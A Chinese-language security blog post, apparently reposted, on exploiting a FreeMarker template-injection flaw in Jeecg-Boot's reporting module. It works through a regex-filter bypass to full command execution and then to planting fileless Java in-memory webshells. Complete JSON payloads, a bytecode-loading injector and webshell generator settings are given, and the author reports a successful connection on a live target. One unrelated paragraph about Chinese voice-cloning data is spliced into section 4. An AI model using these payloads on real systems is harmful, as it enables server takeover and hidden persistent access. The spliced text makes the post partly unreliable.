技术研究|Jeecg-Boot SSTI 漏洞利用研究

技术研究|Jeecg-Boot SSTI 漏洞利用研究

1

前言

众所周知,漏洞和漏洞利用是两码事。

漏洞利用的核心目的是想拿到稳定可用的服务器权限,方法无非就是反弹shell、写入webshell、打入内存马。

通常情况下,如果可以执行任意代码,那么打入内存马会是国内攻防场景下的最优选择。因为:

1. 目标是fat jar启动的;

2. 目标环境不出网;

3. 内存执行,无文件,更隐蔽。

所以如何通过任意代码执行漏洞打入内存马就成了漏洞利用不可或缺的一步。

在Jeecg-Boot SSTI 这个漏洞的利用过程中就发生了下面的故事。

2

寻因

先来看一看我们通常利用freemarker ssti漏洞打内存马的payload:

{“sql”:”${“freemarker.template.utility.ObjectConstructor”?new()(“javax.script.ScriptEngineManager”).getEngineByName(“js”).eval(“var classLoader = java.lang.Thread.currentThread().getContextClassLoader();try{classLoader.loadClass(‘org.apache.commons.langn.ImageUtil’).newInstance();}catch (e){var clsString = classLoader.loadClass(‘java.lang.String’);var bytecodeBase64 = ‘==============Here_Are_Your_Base64_Class_Data…..==============’;var bytecode;try{var clsBase64 = classLoader.loadClass(‘java.util.Base64’);var clsDecoder = classLoader.loadClass(‘java.util.Base64$Decoder’);var decoder = clsBase64.getMethod(‘getDecoder’).invoke(base64Clz);bytecode = clsDecoder.getMethod(‘decode’, clsString).invoke(decoder, bytecodeBase64);} catch (ee) {try {var datatypeConverterClz = classLoader.loadClass(‘javax.xml.bind.DatatypeConverter’);bytecode = datatypeConverterClz.getMethod(‘parseBase64Binary’, clsString).invoke(datatypeConverterClz, bytecodeBase64);} catch (eee) {var clazz1 = classLoader.loadClass(‘sun.misc.BASE64Decoder’);bytecode = clazz1.newInstance().decodeBuffer(bytecodeBase64);}}var clsClassLoader = classLoader.loadClass(‘java.lang.ClassLoader’);var clsByteArray = (new java.lang.String(‘a’).getBytes().getClass());var clsInt = java.lang.Integer.TYPE;var defineClass = clsClassLoader.getDeclaredMethod(‘defineClass’, [clsByteArray, clsInt, clsInt]);defineClass.setAccessible(true);var clazz = defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance();}”)}”,”dbSource”:””,”type”:”0″}

尝试填充我们的恶意代码,发包后会执行失败并且报错:
技术研究|Jeecg-Boot SSTI 漏洞利用研究

在idea中寻找报错点,发现了打内存马不成功原因:

技术研究|Jeecg-Boot SSTI 漏洞利用研究

显然,问题出在正则匹配的时候的栈溢出。

使用正则debughttps://regex101.com查看正则匹配的单步过程:

技术研究|Jeecg-Boot SSTI 漏洞利用研究

很直观的看出来问题是出在 *S*)# 这一段中, S*) 在匹配到classLoader之后,后续的 # 匹配不到 # ,导致的不断回溯。

关于正则回溯的文章可以看P神:

https://www.leavesongs.com/PENETRATION/use-pcre-backtracklimit-to-bypass-restrict.html

3

觅果

既然是空格后的 * 之后没有匹配空格了,那就先不要空格了试试呗,把后续的空格都换成 u0009 试试。

先拿个短的payload测试能不能这么替换空格:

{“sql”:“${“freemarker.template.utility.Execute”?new()u0009(“openu0009-au0009calculator”)}

技术研究|Jeecg-Boot SSTI 漏洞利用研究

看起来是可以的。

但是后续正则中的 #{w+}S* 还是要构造匹配上才行。

随便拼接一个 #{$a} 依然可以成功执行:

{“sql”:”${“freemarker.template.utility.Execute”?new()u0009(“openu0009-au0009calculator”)}#{$a}”}

技术研究|Jeecg-Boot SSTI 漏洞利用研究

但 $ 不行,还得继续想办法。

两个思路:

• 继续构造payload,满足正则匹配,避免发生回溯(但之前的短payload是没有满足匹配的,需要注意满足匹配后还会进行哪些处理)。

• 缩短payload

因为 #{w+}S* 最后是个 S* 很容易想到在payload内部加一个 var a=’#{a}’ 来满足匹配。

但是源代码逻辑中还有个处理是:

var6 = e(var0);if (!var0.contains("case") && g.c(var6)) {var0 = var0.replace(var5, " 1=1 ");}

这个if会改动var0,也就是payload关键的部分,为了不进入这个if,将 var a=”#{a}” 变var a=’#{case}’ 即可。

完整的payload:

{“sql”:”${“freemarker.template.utility.ObjectConstructor”?new()(“javax.script.ScriptEngineManager”).getEngineByName(“js”).eval(“java.lang.Runtime.getRuntime().exec(‘openu0009-au0009calculator’);var a=’#{case}’;”)}”,”dbSource”:””,”type”:”0″}

但是这样满足匹配后,

for(Matcher var4 = var3.matcher(var0); var4.find(); e.debug("${}替换后结果 ==>" + var0)) {String var5 = var4.group();e.debug("${}匹配带参SQL片段 ==>" + var5);String var6;......}

这里的var4.group();获取到的代码就变成了:

freemarker.template.utility.ObjectConstructor”?new()(“javax.script.ScriptEngineManager”).getEngineByName(“js”).eval(“java.lang.Runtime.getRuntime().exec(‘open        -a        calculator’);var=’#{case}'”)}

技术研究|Jeecg-Boot SSTI 漏洞利用研究

缺少了表达式开头的 ${ 导致不能成功执行表达式。

这个问题好解决,在 $ 前面加个字母就可以全部匹配到了:

技术研究|Jeecg-Boot SSTI 漏洞利用研究

技术研究|Jeecg-Boot SSTI 漏洞利用研究

但是如上图,在不加入 var a=’#{case}’ 的时候可以成功利用,但是带上 var a=’#{case}’ 就又不行了,还需要继续解决。

4

破局

效果也基本满意,但由于语音模型预训练数据分布的问题,大规模、高质量的中文开源预训练数据集较少,因此与英文相比,实时中文语音克隆的效果会差一些。此外,流式语音克隆是大势所趋,实时的输入音频,即时地生成语音,需要进一步优化推理所需的资源和生成语音的延迟。

回到

if (!var0.contains(“case”) && g.c(var6)) {

发现可以不用非得是:case,跟进 g.c(var6) debug一番后,发现只要整个字符串以call开头,会使 g.c(var6) 返回false,构造如下:

call${“freemarker.template.utility.ObjectConstructor”?new()(“javax.script.ScriptEngineManager”).getEngineByName(“js”).eval(“java.lang.Runtime.getRuntime().exec(‘openu0009-au0009calculator’);#{};”)}

继续报错:

技术研究|Jeecg-Boot SSTI 漏洞利用研究

错误原因是 #{} 里面为空导致的语法错误。这里尝试了很多诸如 abc 、 true 、 . 等报错提示的expect的字符都会产生类似找不到变量的报错,最后注意到还有Integer,尝试直接 #{1}

技术研究|Jeecg-Boot SSTI 漏洞利用研究

搞定。

那么把java.lang.Runtime.getRuntime().exec(‘openu0009-au0009calculator’)换成打内存马的代码,问题就彻底解决了~

其实之前一直犯了一个错误, u0009 到后面正则匹配前就会变成 Tab 字符,相当于空格,结果就是还是会造成正则匹配回溯。

最后的处理,把所有空格删掉,js里面可以不使用var直接定义变量也能减少空格。

使用史上最强的内存马生成工具:jMG(https://github.com/pen4uin/java-memshell-generatorrelease)生成spring interpreter内存马:

使用说明加密器: JAVA_AES_BASE64密码: Qvqdguewbhr密钥: Rcahzkbotaq地址: /*请求头: Referer: Xxqmsus脚本类型: JSP内存马类名: org.apache.http.client.ServletRequestFsInterceptor注入器类名: org.apachen.SOAPUtils

将构造好的payload发送到jeecg,看看是不是可以成功打入内存马了(本地环境可以,但实战目标环境失败了)

{“sql”:”call${“freemarker.template.utility.ObjectConstructor”?new()(“javax.script.ScriptEngineManager”).getEngineByName(“js”).eval(“classLoader=java.lang.Thread.currentThread().getContextClassLoader();try{classLoader.loadClass(‘org.apachen.SOAPUtils’).newInstance();}catch(e){clsString=classLoader.loadClass(‘java.lang.String’);bytecodeBase64=’==============Here_Are_Your_Base64_Class_Data…..==============’;try{clsBase64=classLoader.loadClass(‘java.util.Base64’);clsDecoder=classLoader.loadClass(‘java.util.Base64$Decoder’);decoder=clsBase64.getMethod(‘getDecoder’).invoke(base64Clz);bytecode=clsDecoder.getMethod(‘decode’,clsString).invoke(decoder,bytecodeBase64);}catch(ee){try{datatypeConverterClz=classLoader.loadClass(‘javax.xml.bind.DatatypeConverter’);bytecode=datatypeConverterClz.getMethod(‘parseBase64Binary’,clsString).invoke(datatypeConverterClz,bytecodeBase64);}catch(eee){clazz1=classLoader.loadClass(‘sun.misc.BASE64Decoder’);bytecode=clazz1.newInstance().decodeBuffer(bytecodeBase64);}}clsClassLoader=classLoader.loadClass(‘java.lang.ClassLoader’);clsByteArray=(”.getBytes().getClass());clsInt=java.lang.Integer.TYPE;defineClass=clsClassLoader.getDeclaredMethod(‘defineClass’,[clsByteArray,clsInt,clsInt]);defineClass.setAccessible(true);clazz=defineClass.invoke(classLoader,bytecode,0,bytecode.length);clazz.newInstance();};#{1};”)}”,”dbSource”:””,”type”:”0″}

发现目标有shiro拦截,尝试了一些静态文件路径都不行。那就换成tomcat Filter 哥斯拉内存马再打一下试试:

使用说明加密器: JAVA_AES_BASE64 密码: Vtgnpgxe 密钥: Shayvjoto 地址: /* 请求头: Referer: Kwbfm 脚本类型: JSP 内存马类名: org.apache.commons.Log4jConfigCpiyboFilter 注入器类名: com.google.gsot.SignatureUtils

将生成的base64格式的内存马,替换payload 中 bytecodeBase64的值和

classLoader.loadClass(‘com.google.gsot.SignatureUtils’)里的类名。注意:通过漏洞直接加载的类名是生成的注入器的类名,内存马类是通过注入器自动加载的。

再来打一次,连接成功!

技术研究|Jeecg-Boot SSTI 漏洞利用研究

5

总结

本文从Jeecg-Boot 积木报表的 freemarker SSTI 漏洞出发,研究了如何利用该漏洞打入更好用的内存马实现稳定的控制,通过认真分析目标程序源代码逻辑,解决了使用通用payload的长度限制(也就是文中提到的正则回溯问题),最终实现了该漏洞的危害最大化利用。
技术研究|Jeecg-Boot SSTI 漏洞利用研究

作者:lu2ker(云锋实验室)

编辑:Fancy

技术研究|Jeecg-Boot SSTI 漏洞利用研究

更多阅读

技术研究|Jeecg-Boot SSTI 漏洞利用研究
技术研究|Jeecg-Boot SSTI 漏洞利用研究
技术研究|Jeecg-Boot SSTI 漏洞利用研究
技术研究|Jeecg-Boot SSTI 漏洞利用研究

原文始发于微信公众号(安全极客):技术研究|Jeecg-Boot SSTI 漏洞利用研究

版权声明:admin 发表于 2024年1月18日 下午4:21。
转载请注明:技术研究|Jeecg-Boot SSTI 漏洞利用研究 | CTF导航

相关文章